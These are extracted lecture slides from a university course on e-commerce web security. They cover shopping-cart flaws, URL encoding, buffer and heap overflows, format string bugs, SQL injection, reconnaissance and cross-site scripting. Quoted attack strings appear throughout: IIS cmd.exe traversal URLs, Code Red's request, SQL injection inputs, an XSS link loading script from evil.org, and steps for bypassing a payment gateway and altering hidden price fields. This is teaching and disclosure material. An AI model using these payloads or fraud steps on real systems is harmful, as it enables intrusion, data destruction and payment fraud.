COEN 351 E-Commerce Security
Web Security
Table of Contents Web languages overview Example: Web shopping carts and payment
gateways HTTP
URL User input validation Standard Attacks
Buffer overflow String format bug Heap overflow attack
Database input attacks
Web Security Web Languages Overview
Hyper-Text Markup Language Derived from Standard Generalized
Markup Language. Absolutely fundamental. Security Implications:
Static web-pages do not pose a security risk. But hosting them might.
User input, active contents, integration of code into documents are issues.
Web Security
Web Languages Overview: Dynamic HTML
“Object-oriented extension of HTML” Similar security implications.
XML More flexible than HTML: XHTML Very new, little tried
Not enough experience with breaking XHTML
Web Security Web Languages Overview
Perl Great server side scripting language Easy to make mistakes, that create security
holes. I will show some examples later.
(Hint: Learn a little bit of Perl.) PHP: Personal Home Page
Great server side scripting language Similar problems.
Web Security Web Languages Overview
Cold-Fusion ASP: Active Server Pages
MS server side and client side scripting environment.
Easy to learn Active X
Internet portion of COM Active X controls are embedded in other objects. Can be very powerful program.
Allowing Active X to run gives control of the system away!
Active X has to give out the location of the .CAB file, in which the control resides.
Web Security Web Languages Overview
Common Gateway Interface (CGI) Old, mature standard for server-side,
dynamic content: Passing data from Web server to program /
script (e.g. Perl) and back to the web browser. Numerous languages can be used to
create CGI programs. Uses environment variables that reflect
system. This can be a security risk.
Web Security
Web Languages Overview Java:
General purpose OO language. Ambitions to be secure:
Untrusted java code can run on a system securely.
Platform independent. Uses intermediate Java Byte Code.
Web Security
Web Languages Overview Java:
General purpose OO language. Ambitions to be secure:
Untrusted java code can run on a system securely.
Platform independent. Uses intermediate Java Byte Code.
Web Security Web Languages Overview
Java: Client-based Java.
Java applet called from html document. Java applet runs in a “sandbox”.
Byte code is checked for safety. Cannot access system resources, e.g. no file
access. Server-side Java.
Java Server Pages History of exploits.
JHTML
Web Security
Web Languages Overview Javascript
Client-side scripting language embedded in html.
Web Security
Top Vulnerabilities: Server-side:
User input can be malicious. We learn how to do this. Gaining shell Gaining access to source code, arbitrary files, … Get arbitrary commands executed in a database.
Client-side: Malicious code breaks out of sandbox.
Example: Web shopping carts and payment gateways.
E-business model:
Example: Web shopping carts and payment gateways.
Shopping Carts: Buyer interacts with web-pages. Places items in shopping cart. Can modify shopping cart.
Delete items Update item number
Checks out. Purchase is processed.
Example: Web shopping carts and payment gateways.
Example: Web shopping carts and payment gateways.
Carello shopping cart (2001): Remote command executing through
crafty use of URL
Carello Shopping Cart Lets Remote Users Execute Arbitrary Commands on the Commerce Server Date: May 14 2001 13:48 (UTC/GMT) Impact: Denial of service via network, Execution of arbitrary code via networkFix Available: Yes Exploit Included: Yes Vendor Confirmed: Yes Advisory: Defcom LabsVersion(s): V1.2.1 for Windows NT Description: Defcom Labs issued a vulnerability advisory for the Carello shopping cart, warning that a remote user can execute arbitrary commands on the server with the privileges of the web server.
Defcom reports that the Carello.dll uses full physical path to execute Carello scripts instead of paths relative to the webroot directory. The program performs insufficient input validation in processing user-supplied paths.
A demonstration exploit URL (shown below) will cause INETINFO.EXE to spike at 100% CPU utilization and the web server will no longer respond to HTTP requests. The webservice cannot be stopped or restarted. The host must be rebooted to regain functionality.
(The following URL has been wrapped for readability)
http://foo.org/scripts/Carello/Carello.dll?CARELLOCODE=SITE2&VBEXE=C:\..\winnt\system32\cmd.exe%20/c%20echo%20test>c:\defcom.txt
The command will reportedly be executed with the privileges of the web server. For IIS, this is usually LocalSystem Access.
Defcom indicates that their vulnerability testing was performed on a Windows NT 4.0 Server with SP 6a. Impact: A remote user can execute arbitrary commands on the server with the privileges of the web server. The remote user can also cause the server to crash, requiring a reboot to continue functioning.Solution: The vendor has released version 1.3 to correct the problem.Vendor URL: www.carelloweb.com/ (Links to External Site) Cause: Input validation error Underlying OS: Windows (NT)Reported By: Peter Gr ndl <[email protected]>
Message History: None.
Example: Web shopping carts and payment gateways.
DCShop-Beta 2001 Web-based user can execute scripts
within cgi-bin directory Any script, if wrongly configured. Web-based user can obtain a text file
with recent orders. Can obtain administrator’s name and
password.
Example: Web shopping carts and payment gateways.
Hassan Consulting (2001) Arbitrary command execution on
server. Shopping cart runs on Unix and uses Perl. Script does not filter user input.
Example: Web shopping carts and payment gateways.
Cart32 … (2000) Hidden form fields within html source
code. Attacker can save webpage of
particular item, edit html source, change price etc.
Uses “referer” field.
Example: Web shopping carts and payment gateways. Payment Processing System
Vulnerable to stealing of credit card information
On server In transit.
Protective Measures SSL (against eavesdropping). Secure Electronic Transaction (SET)
(below) One-Time-Use Credit Cards (below)
SET No reusable credit card information changes
hands: Customer needs digital certificate. Transaction processing:
Customer (computer) sends transaction details and customer’s digital certificate.
Merchant sends request to her financial institution. Merchant’s institution requests authorization from
customer’s financial institution (based on certificate) After approval, payment takes place.
Relied on PKI, browser software, and did not catch on.
One-Time-Use Credit Card Customer accesses credit card
company’s website and authenticates. Customer enters transaction details. Credit card company generates virtual
credit card (number). Linked to actual credit card account.
Customer uses virtual credit card. Merchant’s side of processing same as
for real credit card.
Example: Web shopping carts and payment gateways.
Miva Merchant – VeriSign’s Payflow Link Integration Vulnerability 2002: Bug is in the integration of shopping
cart and payment center information. Result: Shopping cart accepts invalid
credit card transactions as valid.
Example: Web shopping carts and payment gateways.
Miva Merchant – VeriSign’s Payflow Link Integration Vulnerability 2002: Method 1
Save HTML contents of final checkout page.
Change page to not invoke PayFlow URL Instead, invoke final payment acceptance
URL.
Example: Web shopping carts and payment gateways. Miva Merchant – VeriSign’s Payflow Link
Integration Vulnerability 2002: Method 2
Sign up for a free demo PayFlow Link account at Verisign.
While in demo mode, this account will "validate" almost any credit card info submitted
Then perform HTML edit of the final checkout page
Change the hidden form tag to direct the payment to the demo PayFlow Link account.
Save the HTML, reload in your browser, and submit bogus credit card info.
Hyper Text Transfer Protocol
HTTP 1.1 released 2001 IETF RFC 2616
Client sends an HTTP request using TCP You could do this by telneting to a
website. telnet www.scu.edu 80. Type in http request. Finish with a blank line.
Hyper Text Transfer Protocol
Or use netcat. Freeware. Powerful tool for good and bad.
Virus scanners don’t like it.
Hyper Text Transfer Protocol
HTTP uses simple, formatted blocks of data. Client requests or server responses. Request message
<GET, HEAD, POST …> URL <version> <headers> <entity body>
Hyper Text Transfer Protocol
Captured session with Ethereal.
Ethereal is a nifty, free package capturing tool.
Allows to follow a TCP stream.
Powerful diagnostic tool.
Hyper Text Transfer Protocol
Response Message <version> <status> <reason phrase> <headers> <entity body>
Hyper Text Transfer Protocol
Hyper Text Transfer Protocol
Notice how much the response tell us. Includes the version of the web
server, …
Hyper Text Transfer Protocol HTTP 1.0 Methods
GET HEAD
Does not return the actual web-page, only the head of the response.
Includes server response code, date header, server header, …
POST Requests that server accepts the enclosed
information and acts on it. Used with CGI or server-side scripting.
Hyper Text Transfer Protocol
Common Response Codes
2xx: Success 200 OK
3xx: Redirection 301 Moved permanently 302 Moved temporarily
4xx: Client Error 400 Bad request 401 Unauthorized 403 Forbidden 404 Requested resource
not found
Common Response Codes
5xx: Server Error 500 Internal server
error 501 Not implemented 502 Bad gateway 504 Service
unavailable.
Hyper Text Transfer Protocol
HTTPS HTTP over SSL Entire message is encrypted.
Hyper Text Transfer Protocol
Hyper Text Transfer Protocol
HTTPS should be standard for any transmission of sensitive data. Passwords Credit cards …
URL Basics
URL consists of three main parts: Service Address of server Location of resource.
Followed by optional parameters
http://www.cse.scu.edu/~tschwarz/coen252_03/Lectures/URLObscuring.html
URL Basics Scheme, colon double forward slash. An optional user name and password. The internet domain name
RCF1037 format IP address as a set of four decimal digits.
Port number in decimal notation. (Optional) Path + communication data.
http://tschwarz:[email protected]/~tschwarz/coen252_03/Lectures/URLObscuring.html
http://www.google.com/search?hl=en&ie=UTF-8&q=phishing
URL Basics
Resource is named op.asp Active server page Usually runs on IIS
The parameters could contain additional data.
http://cart2.barnesandnoble.com/Shop/op.asp?path_state=1&step=itemAdded&UIAction=addToCart&opt=consumer&OpCode=Add&ProductCode=BK&ContShopPage=%2Fbooksearch%2FisbnInquiry.asp%3Fisbn%3D1593270070%26itm%3D10%26ATL_lid%3D3r0cWLIARU%26ATL_sid%3Dex1SDEqApk&Host=search&selection=9781593270070&userid=3r0cWLIARU&AddToCart.x=32&AddToCart.y=9
URL Basics
Search to a site using asp, too. Try to write the search string into
the URL.
http://search.msn.com/results.asp?FORM=sCPN&RS=CHECKED&un=doc&v=1&q=hacking%20exploit
URL Basics
Everything after the “?” is passed to the web server, e.g. to a script as a command line argument.
There is some translation. White spaces are encoded as +
URL Encoding URL string consists of
Alphanumeric characters a-z, A-Z, 0-9 Reserved symbols
; / : @ & = + $ , < > # % ? Query string separator & parameter delimiter = separates parameter name from value + translated to space : protocol separator # anchor point in webpage % escape character for hex characters @ used in mailto ~ used for home directory on a multiuser system
Other special characters.
URL Encoding
Why is this so important? 90% of all web-app vulnerabilities are
caused by lack of proper input validation.
Input URL needs to be verified. Input verification is much harder than
people think.
URL Encoding
Use the % escape character to place control characters into stream. %20 Space %0d Carriage return
Use %uXXYY to place unicode character XXYY into the stream.
URL Encoding
Attackers use a buffer overflow to place executable code in server internal memory and then get it executed.
Use unicode to place the code into the URL. Code Red worm uses an http request:
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3 …
URL Encoding When passing a parameter such as a file
name, input validation checks for characters such as “../” Otherwise:
http://192.241.1.45/scripts/..%c0%af../winntsystem32/cmd.exe?/c+dir+d:\
Calls the command shell to display directory d:
Unicode exploit based on UTF-8 encoding: %c0%af is the UTF-8 double-byte
representation of “/”. IIS did not implement the translation rules
correctly.
URL Encoding
Double-Decode Exploit Represent bad character with hex
escape. Then represent the hex escape with
hex escapes. Input validator does not translate
twice. But the script does.
“/” %5c %25%35%63
User Input Validation URL based attacks are only one type of
attack based on user input. URL parameters User-names, passwords, form-fields
Principal countermeasure: Define a trust boundary. Create a chokepoint for any source of user
provided data. Check validity of any input passing through
a choke-point.
User Input Validation Trust
relationship within the boundary.
This might violate the principle of defense in depth.
User Input Validation Security Principles (Howard, Leblanc)
Secure by Design Build in security concerns in the design process,
develop threat model, … Secure by Default
Features and capabilities should not be installed by default.
Allow least privilege Protect resources.
Secure in Deployment Security administration should be easy. Fast patching Good documentation
User Input Validation Checking validity
Deny access until you have ascertained that the request is valid.
Instead of filtering out invalid data. This is difficult because
There might be more than one valid way to represent data
Escaping Double Escapes Translation (cyrillic ‘o’ becomes latin ‘o’)
You might miss an invalid data pattern.
User Input Validation
Canonicalization A validation technique that
Takes valid user input and put it in a standard form.
And thus will filter out evil input.
User Input Validation
(Lack of) Canonicalization Incidences
1. Napster Name Filtering Napster was ordered in 2001 to block
address to certain songs. Blocking was based on the name of the
song. Did not filter intentionally misnamed songs.
Pig-latin (a service provided by Aimster Pig Encoder)
User Input Validation Canonicalization Incidences
2. Apache web server and MacOS HFS+ is case-insensitive. Apache’s directory protection is case sensitive.
Administrator protects directory scripts:
Still allows access to: www.calprov.org/SCRIPTS/index.html because “SCRIPTS” does not match “scripts”.
<Location /scripts> order deny, allow deny from all</Location>
Buffer Overflow Attacks
Still a widespread attack Possible because C, C++, and similar
languages do not use bound checking.
Java, C#, etc. do not have this vulnerability.
However, the JVM is written in C and potentially vulnerable.
Used on the stack or on the heap
Buffer Overflow Attacks Stack: Last in, first out Push: places element on top of
stack Pop: removes element from top
of stack.
Buffer Overflow Attacks Programming languages use three type
of memories: Statically allocated. (But this is too
restrictive) Dynamically allocated:
Stack Heap
Stack is area of program memory that contains static allocated variables, return addresses, etc.
Buffer Overflow Attack
When the assembly call is executed to call test Place variables on stack
(lifo)
a
b
c
d
void test( int a, int b, int c, int d){ char flag; char buffer[10];}
Stack:
Buffer Overflow Attack
When the assembly call is executed to call test Place variables on stack
(lifo) Place return address on
stack This is the address of the
next instruction to be executed after the return.
ret
a
b
c
d
void test( int a, int b, int c, int d){ char flag; char buffer[10];}
Buffer Overflow Attack
When the assembly call is executed to call test Place variables on stack (lifo) Place return address on
stack Place SFP (EBP) on stack
Saved frame pointer Used to address local variables
void test( int a, int b, int c, int d){ char flag; char buffer[10];}
sfp
ret
a
b
c
d
Buffer Overflow Attack
When the assembly call is executed to call test Place variables on stack
(lifo) Place return address on
stack Place SFP (EBP) on stack Allocate local variables
flag, buffer
void test( int a, int b, int c, int d){ char flag; char buffer[10];}
buffer[0]
buffer[1]
.
.
buffer[9]
flag
sfp
ret
a
b
c
d
Buffer Overflow Attack
When function returns Pop the local variables
By resetting the stackpointer.
Restore the frame pointer. Load the value in ret into
the program counter. This is the next instruction
to be executed. Pop arguments.
void test( int a, int b, int c, int d){ char flag; char buffer[10];}
buffer[0]
buffer[1]
.
.
buffer[9]
flag
sfp
ret
a
b
c
d
Buffer Overflow Attack
Buffer overflow: If a user can cause data to be placed
on the stack without checking for the size of data, then we can overwrite important parts of the stack.
Buffer Overflow Attack
User can place any string into the buffer.
User inputs 16 “AA” bytes At exit from the
subroutine, we place this value into the PC.
User can control program flow.
void test( int a, int b, int c, int d){ char flag; char buffer[10]; scanf(“%s\n”, buffer)}
“AA”
“AA”
.
.
“AA”
“AA”
“AAAA”
“AAAA”
a
b
c
d
buffer[0]
buffer[1]
.
.
buffer[9]
flag
sfp
ret
a
b
c
d
Buffer Overflow Attacks
If you try it out, the program will try to execute the instruction at location “AAAA”. Most likely, that memory location is
not “owned” by the program. Therefore: Memory segmentation
violation, core dump.
Buffer Overflow Attack
void foo(const char* input) {
char buf[10]; printf("Hello World\n");
}
int main(int argc, char* argv[]) {
foo(argv[1]); return 0;
}
Buffer Overflow Attack
Windows example:
Compilers vary
Buffer Overflow Attacks
Example that shows how the stack is changed.
Buffer Overflow Attack#pragma check_stack(off) #include <string.h> #include <stdio.h>
void foo(const char* input) { char buf[10]; printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); strcpy(buf, input); printf("%s\n", buf); printf("Now the stack looks like: \n%p\n%p\n%p\n%p\n%p\n%p\n\n"); }
void bar(void) {
printf("Augh! I've been hacked!\n"); }
Our goal is to get to execute bar by overflowing buf from input.
foo prints out the stack.
Then it copies input into buf without checking.
Then it prints out the stack again.
Buffer Overflow Attack
int main(int argc, char* argv[]) {
printf("Address of foo = %p\n", foo); printf("Address of bar = %p\n", bar); if (argc != 2) {
printf("Please supply a string as an argument!\n");
return -1; } foo(argv[1]);
return 0; }
main merely calls foo after telling us where the code for foo and bar is located.
The instruction executed after the return from foo should be the beginning of the “return 0” block.
By overwriting the ret value on the stack, we try to set the PC to point to the beginning of function bar instead.
Buffer Overflow AttackChapter05>stackoverrun.exe Hello Address of foo = 00401000 Address of bar = 00401050 My stack looks like: 00000000 00000A28 7FFDF000 0012FEE4 004010BB 0032154D
Hello Now the stack looks like: 6C6C6548 0000006F 7FFDF000 0012FEE4 004010BB 0032154D
See how hello is being placed in the buffer.
The highlighted value is the return address.
Buffer Overflow Attack
We first try arbitrary long input.
This gives us an exception and the program is terminated.
Buffer Overflow Attack
Buffer Overflow Attack
Perl Scripts are handy to run carefully crafted input.
Buffer Overflow Attack
We crafted input that overwrote the value of ret with the address of function bar.
Buffer Overflow Attack Fun, but useless. Real attack:
overwrite return address so that code execution jumps into the input given by attacker.
Buffer Overflow Attack If input is sent over the net, then an IDS
can find a match against an attack signature.
To protect against signatures, structure input Varying stuff execve(/bin/sh) (gives new shell with
program privileges in UNIX) Pointer to execve statement.
Buffer Overflow Attack Finding vulnerabilities
Script-kiddies scan target with automated tools.
Source code evaluation. Look for strcpy, gets, getws, memcpy
memmove, scanf, … Alternatively, just cram the application
until it crashes. There are tools for that. Crash used to give you locations of
registers.
Buffer Overflow Attack
Finding vulnerabilities Disassembly code for which a source
is not available.
Buffer Overflow Attack
Example: Cram in lots of input of As.
Program crashes, EIP has value 41414141.
Sign of buffer overflow. Now try to feed more specific
input.
Buffer Overflow Attack
Use a NOP sled before the actual shell code.
This way, attacker does not have to guess the exact location of things in buffer.
Buffer Overflow Attack
A.K.A. shell code
Buffer Overflow Attack
Attack signature can be used by IDS.
Vary the NOP commands. Many alternative in assembly.
Overflow Attacks
When the vulnerable program runs at administrator level, overflow attacks give escalation of privileges.
Buffer Overflow Attack
Protection Make stack non-executable. Use canary birds.
Buffer Overflow Attack
Stack Guard MS Visual Studio
use canaries.
Buffer Overflow Attacks But the first MS implementation made it worse. When Canary was overwritten, program
executed user written handler. Attacker could use buffer overflow to overwrite
the address of the handler function. The overwriting value would point to the stack. The very same mechanism intended to prevent
some buffer overflow attacks can be used to start others.
Buffer Overflow Attacks Exploiting a non-executable stack
(UNIX): In the previous example, we placed the
code on the stack. We can protect against simple stack
smashing by making sure that the machine never executes any code on the stack.
Solaris OpenBSD Windows (in the future?)
Buffer Overflow Attacks Exploiting a non-executable stack
(Unix): Overwrite the return value with the
address of a library function. Common dynamic library function,
present in most programs Function should allow to span a shell.
Known as “return to libc” since introduction in 1997 by Solar Designer
Buffer Overflow Attacks
Primary target is libc, a library of c-functions In particular system()
Call system with “/bin/sh” as an argument and you have spawned a shell.
To pass “/bin/sh” to system, we pass a pointer to the string “/bin/sh”.
Buffer Overflow Attacks
Return to libc (Unix): Attacker needs to:
Determine address of “system” Determine address of /bin/sh Determine the address of exit()
So we can close the exploited program cleanly.
Buffer Overflow Attacks
Determining the address of system() gcc includes libc by default when
compiling. Use gdb debugger (or something
more sophisticated) to find the address of system.
# gdb file(gdb) break mainBreakpoint 1 at 0x804832e(gdb) runStarting program: /usr/local/programs/file
Breakpoint 1, 0x804832e in main ()(gdb) p system$1 = {<text variable, no debug info>} 0x4203f2c0 system(gdb) p exit$1 = {<text variable, no debug info>} 0x42029bb0 exit
Buffer Overflow Attacks To find address of /bin/sh, use the
memfetch tool. memfetch dumps everything in the process’
space Simply look through the binary file to find
/bin/sh Alternatively:
Store /bin/sh in an environmental variable Get address of the environmental variable
Buffer Overflow Attacks
Ret to libc Fill vulnerable buffer up to the return
address with garbage. Overwrite the return address with the
address of system() Then place the address of exit Append the address of /bin/sh
Windows Buffer Overflow Attacks
Frame-based exception handlers Each windows thread has at
least one Exception handler. Metadata maintained in
EXCEPTION_REGISTRATION data structure.
If an exception is thrown, then Windows walks through the exception handlers to find an appropriate one.
First exception registration structure is part of thread’s environment block.
Windows Buffer Overflow Attacks
#include <stdio.h>#include <windows.h>
dword MyExceptionHandler(void){ printf("In exception handler...."); ExitProcess(1); return 0;}
int main(){ __try { __asm{ // Cause an exception xor eax,eax call eax}
} __except(MyExceptionHandler()) { printf("oops..."); } return 0;}
Windows Buffer Overflow Attacks Frame-based exception handlers
Idea: Overflow the buffer so that a pointer to an exception handler is overwritten.
Then cause an exception. Windows up to Windows 2003 server and XP service
pack 1: EBX points to EXCEPTION_REGISTRATION structure
Last Windows systems: EBX and all other registers is set to zero before calling the handler.
Overwrite real handler with jmp EBX or call EBX Exception occurs Control passes to (overwritten) exception handler Exception handler executes jmp EBX Control ends up in statements placed by the attacker.
Windows Buffer Overflow Attacks Windows Server 2003
Does sanity check on exception handler. Still vulnerable to attacks
Change an existing handler that transfers control back into the code supplied by the attacker.
Find a snippet of code that will pass control back to the over- flown buffer.
“pop reg, pop reg, ret” will do Find a block of code in the address psace of a module
that does not have a Load Configuration Directory. Future Windows releases will tighten the
protection against this particular attack type.
Format String Bugs
C- vulnerability Caused by “lazy” programmers that
use printf and companions incorrectly.
Use printf without format string.
Format String Bugs
// formatstringbug.cpp : Defines the entry point for the console application.//
#include "stdafx.h"
int _tmain(int argc, _TCHAR* argv[]){
if(argc != 2) {\printf("Error, please supply a format string.\n");return 1;
}printf( argv[1] );printf("\n");
return 0;}
Format String Bugs
User provides the format string. printf takes arguments from the
stack. This means that an attacker can
see the contents of the stack. In itself bad, since the stack might
contains passwords, etc.
Format String Bugs
// formatstringbug.cpp : Defines the entry point for the console application.//
#include "stdafx.h"
int _tmain(int argc, _TCHAR* argv[]){
if(argc != 2) {\printf("Error, please supply a format string.\n");return 1;
}printf( argv[1] );printf("\n");
return 0;}
Format String Bugs Some of the format parameters of printf
are very interesting: %x hex output for integers %s argument is treated as a pointer to a
string. %n argument is treated as a pointer to an
integer. Number of bytes printed so far is put in that location.
This allows us to write arbitrary values in certain locations.
Format String Bugs
Affect all OS, even though they are better known of *nix.
Stack protection mechanisms don’t apply to them
Can be easily detected with static code analysis tools.
Format String Bugs
Exploits Information Leakage Controlling Execution for Exploitation
Case Example wu-ftp 2.6.0
Heap Overflow Attack
Each thread has a stack for local variables, return addresses, etc.
Each thread also has a heap for dynamically allocated variables. Most of them allocated
programmatically through a routine like malloc in C
Heap Overflow Attack
A buffer overflow on a heap can Overflow into another buffer Overwrite metadata
malloc implementations use the heap to store data on allocated memory chunks
Windows Heap Overflow Attack
Every heap starts with a list of 128 LIST_ENTRY structures that keep track of free blocks.
By overwriting these structures, an attacker can increase the memory space of the program.
Thus, overwriting a function pointer with another value does no longer lead to segmentation violation.
Windows Heap Overflow Attack
Various Methods Overwrite ptr to RtlEnterCriticalSection
in Process Environment Block Overwrite pointer to unhandled
exception filter. Overwrite pointer to Exception Handler
in Thread Environment Block …
Buffer Overflow Attacks
Common Vector Input to a program contains program
code. Allows for signature based detection
A signature essentially recognizes snippets of attack code.
Counter-measure: Polymorphic code. Code with the same effects but that looks
different.
Buffer Overflow Attacks Common Vector
Attack codes contains assembly language code (shell code)
Normally not alpha-numeric Protection mechanism:
Filter out all unprintable characters Attacker counter-measure:
Use assembly language statements that are printable. Translation tools exist to change arbitrary assembly
code to assembly code that goes through filters. Use this to hide a “decoder”.
Decoder decodes the rest of the attack package.
Buffer Overflow Attacks
Vulnerability detection: Source code / executable auditing Fault injection
Fuzzer like sharefuzz test for common overflow attacks in setuid programs.
Database input attacks
Attack caused again by a fault in input validation.
Simple SQL injection attack example:string sql = “select * from client where name = ‘ “ + uname + “ ’ ”
User enters uname: “Schwarz”. SQL command executed isstring sql = “select * from client where name = ‘ Schwarz’ ”
This command reads every row in the table “client”.
string sql = “select * from client where name = ‘Schwarz’ or 1=1”
User enters uname: “ ‘Schwarz’ or 1 = 1”. SQL command executed is
Database input attacks SQL injection attacks are common.
Some database servers allow a client application to perform more than one SQL statement.
Suppose that user enters: “Schwarz’ drop table client”
This builds an SQL query that queries table client and then deletes the table.
Effects are greatly enhanced if the database runs at system administrator privileges.
Database input attacks
Countermeasures: Run queries below the administrator
level. Build sql statements securely,
checking each component carefully.
Web Application Components
Web Application Components
Web Application System Front-end Webserver Web application execution
environment Database server
Web Application Components Front-end web server
Needs to be scalable Needs to be robust Needs to resist known attacks Needs to be able to handle a large load Should have an API interface or plug-in
framework Market leaders:
Apache Microsoft IIS Netscape/iPlanet Zeus
Web Application Components Connecting Components
Native application environment IIS has a built–in application processing
environment: Active server pages. Web Server APIs
Application built on API libraries provided by the web-server
URL mapped to application Application server runs on the same
system hosting the web server
Web Application Components Connecting Components
URL Mapping and Internal Proxying Web application is an independent HTTP server
listening on a TCP port Front-end web server maps specific URLs onto the
web application server Web application server hosted on same system
Proxying with Back-end Application Server Web application server runs on a separate system Front-end server acts as a proxy. Web application server can only receive requests
from the front-end
Web Application Components
Connecting with Database server Native Database API
E.g. call SQL server from ASP code Open DataBase Connectivity Java DataBase Connectivity
Information Leakage Reconnaissance precedes attack.
Worms scan random IP addresses for vulnerability.
Flash worms will prescan before the outbreak starts.
Targeted attacks will find out all available information on the target first.
Random scanning identifies victims for future use.
Information Leakage
Overview of generic methods Open Source Search for
Locations Related companies or entities Merger or acquisition news Phone numbers Contact numbers Privacy or security policies that could shed
line on measures Links to other websites.
Information Leakage Overview of generic methods
Open Source Search for Network information
whois query (www.arin.net) Sam Spade (www.samspade.org)
Some of this information is vital for security, such as contact info on network administrator.
Overall security is increased if a majority of sites can be reached to stop / investigate an attack from that site.
Limit information to what is reasonable.
Information Leakage Overview of generic methods
Open Source Search DNS query
Network Reconnaissance traceroute Pinging and other ICMP queries Port scanning OS detection Service Scanning
Network Reconnaissance Counter-measures Almost all packets used in reconnaissance can be
stopped at a firewall without or with little loss of service.
Patched OS no longer exhibit characteristic behavior Stop any unused services on exposed computers.
Good Security Practice, because non-existent services do not have an attack surface.
Information Leakage Web-specific information leakage
URLs URL parameters give hints on application
processing them. Resource names in URL give hints.
htm vs. html HTTP headers
Usually identify web server File extensions HTML comments Cookie format
Information Leakage
Information Leakage
Information Leakage URL and HTTP header examples
http://www1.ex.com/homepage.nfs?Open Lotus Domino server (HTTP header or .nfs extension)
http://www2.ex.com/software/buy.jhtml;jsessionid=ZYQFD45D34WTER#2BW8P
HTTP header identifies MS-IIS/4.0 Does not support .jhtml pages natively Hence, there is an application server “;jsessionid=…” identifies an ATG Dynamo
Application Server that serves Java HTML files and executes Java servlets.
Information Leakage URL and HTTP header examples
http://www3.ex.com/cgi-bin/ncommerce3/ExecMacro/webstore/home.d2w/report
ncommerce3 and ExecMacro indicate IBM Net.Data e-commerce platform
http://www4.ex.com/category.jsp?id=21&StoreSession=PC1qNwresa89H4L9aseqRT/Q43HF4BFsd9lp/154738927/12659/7/7001/7002/7001/7003/-1
File requested is a Java Server Pages file. HTTP header identifies Netscape Enterprise 4.1.
server URL however identifies a BEA WebLogic server
Information Leakage
Cookies Stored at the client Used to maintain session state Typical of webserver
Information Leakage
ApacheApache=206.86.136.115.308631012385239875
IIS ASPSESSIONIDGQGGCVC=KELHFOFDIHOIPLHJEBECNDME
ATG Dynamo JSESSIONID=H4TQ0BVCTYCDNZQFIALE0SFFOAVAAUIIVO
IBMNet.Data SESSION_ID=307823,wFXBDMkigAnrYuj+iK1gf87gsw8e
ColdFusion CFID=573208, CFTOKEN=862409812
Information Leakage
Information Leakage
Information Leakage
Information Leakage
Information Leakage
Information Leakage
Active Technology Identification Force server to return an error
Truncated URLs Requests for non-existent files Parameter tampering
Information Leakage
Identifying database servers Generate URL parameter errors.
Changed parameter.
Information LeakageChanged value of id
Information Leakage
Counter-measures Minimize information leaked from
HTTP header. Changing server identification string in
HTTP header and changing file extensions only stops script kiddies and automated vulnerability scanners like Whisker.
Prevent error information from being sent to the browser.
Information Leakage HTML leakage
Comments Including those generated by web application
servers. Internal and external hyperlinks E-mail addresses and usernames Keywords and meta tags Hidden fields
Used to pass information back and forth between server and browser.
Never relay on the accuracy of these data. Client-side scripts
Information Leakage
HTML source code analysis can be automatized Store pages from a website (e.g. with
wget) Use string search tools Sam Spade, Black Widow, Teleport
Pro, etc. automate the search
Information Leakage Site linkage analysis
Crawl site Manually or by bot. Web crawlers need to interpret scripts
that load other pages Create logical structure of site
By URL paths Analyze each web resource Inventorize web resources
Attack Examples: Hidden HTML Forms Hidden HTML Forms
Form allows user input to be sent to the server.
Get-method: Append input to URL
Post-method: Browser sends data in different transaction. Server retrieves data from standard location.
<form method=post
action=“http://cse.scu.edu/cgi-bin/update”
input type=hidden name = “price” value=“89.99”
>
Attack Examples: Hidden HTML Forms Hidden HTML Forms
Hidden input type screen input from browser.
However, HTML code remains clearly visible. HTML page can easily be altered. And they can be altavista-ed.
Attack Examples: Hidden HTML Forms Hidden HTML Forms
Attack would save the page locally. Change the price. Change the action item to go to the shopping cart.
This is very, very illegal and
constitutes FRAUD. However, this page is secure, since they let you pay first
with pay-pal and then ship. So much for my criminal career.
Cross-Scripting Attacks Cross Site Scripting
Partial to dynamic websites Website gathers malicious data from the
user. Typically in the form of a hyperlink with malicious
content in it. Example Messages to a bulletin board / guest
book: Hello World! <SCRIPT>malicious code</SCRIPT> Hello World! <EMBED SRC="http://www.paedophile.com/movies/rape.mov">
Abbreviated as CSS or XSS
Cross-Scripting Attacks
Example: A guestbook allows me to submit
posts containing HTML and Javascript. I craft a malicious post. Joe reads my post. The code
executes. Now I “own” Joe’s session, because I got his cookies.
Cross-Scripting Attacks XSS abuse of trust
Trusted site with a poorly coded search engine Attacker embeds malicious code within a hyperlink to
that site. Client web browser follows link.
URL sent to trusted site now contains malicious code. Site sends a page back to the browser: <A HREF="http://trusted.org/search.cgi?criteria=<SCRIPT
SRC='http://evil.org/badkarma.js'></SCRIPT>"> Go to trusted.org</A> Link is seen as link to http://trusted.org Can be included in an email message Malicious code is downloaded from evil.org
Cross Scripting Attack
Custom made .ida overflow code <iframe src=http://vuln.iis.server/a.ida?XXX....XXX{CUSTOM IDA OVERFLOW CODE}></iframe>
hello.asp takes 1 paramater (name) that is displayed to the screen with no cleansing.
/hello.asp?name = <iframe src=http://vuln.iis.server/scripts/root.exe?/c+dir></iframe>
Cross Scripting AttackFrom: frog frog <[email protected]>To: [email protected]: PHPNuke holes
Here a few holes that i've found in PHPNuke.5 Cross Site Scripting.
http://phpnuke.org/modules.php?name=Downloads&d_op=viewdownloaddetails&lid=02&ttitle=[JAVASCRIPT]
http://phpnuke.org/modules.php?name=Downloads&d_op=ratedownload&lid=118&ttitle=[JAVASCRIPT]
http://phpnuke.org/modules.php?op=modload&name=Members_List&file=index&letter=[JAVASCRIPT]
http://phpnuke.org/submit.php?subject=[JAVASCRIPT]&story=[JAVASCRIPT]&storyext=[JAVASCRIPT]&op=Preview
http://phpnuke.org/user.php?op=userinfo&uname=[JAVASCRIPT] ==> This hole was not found by Aurelien Cabezon.
and /admin.php?upload=Go! who's the same thatupload=1 .
frog-man
Cross Scripting Attack
Protection Never trust any user input.
http://www.cert.org/advisories/CA-2000-02.html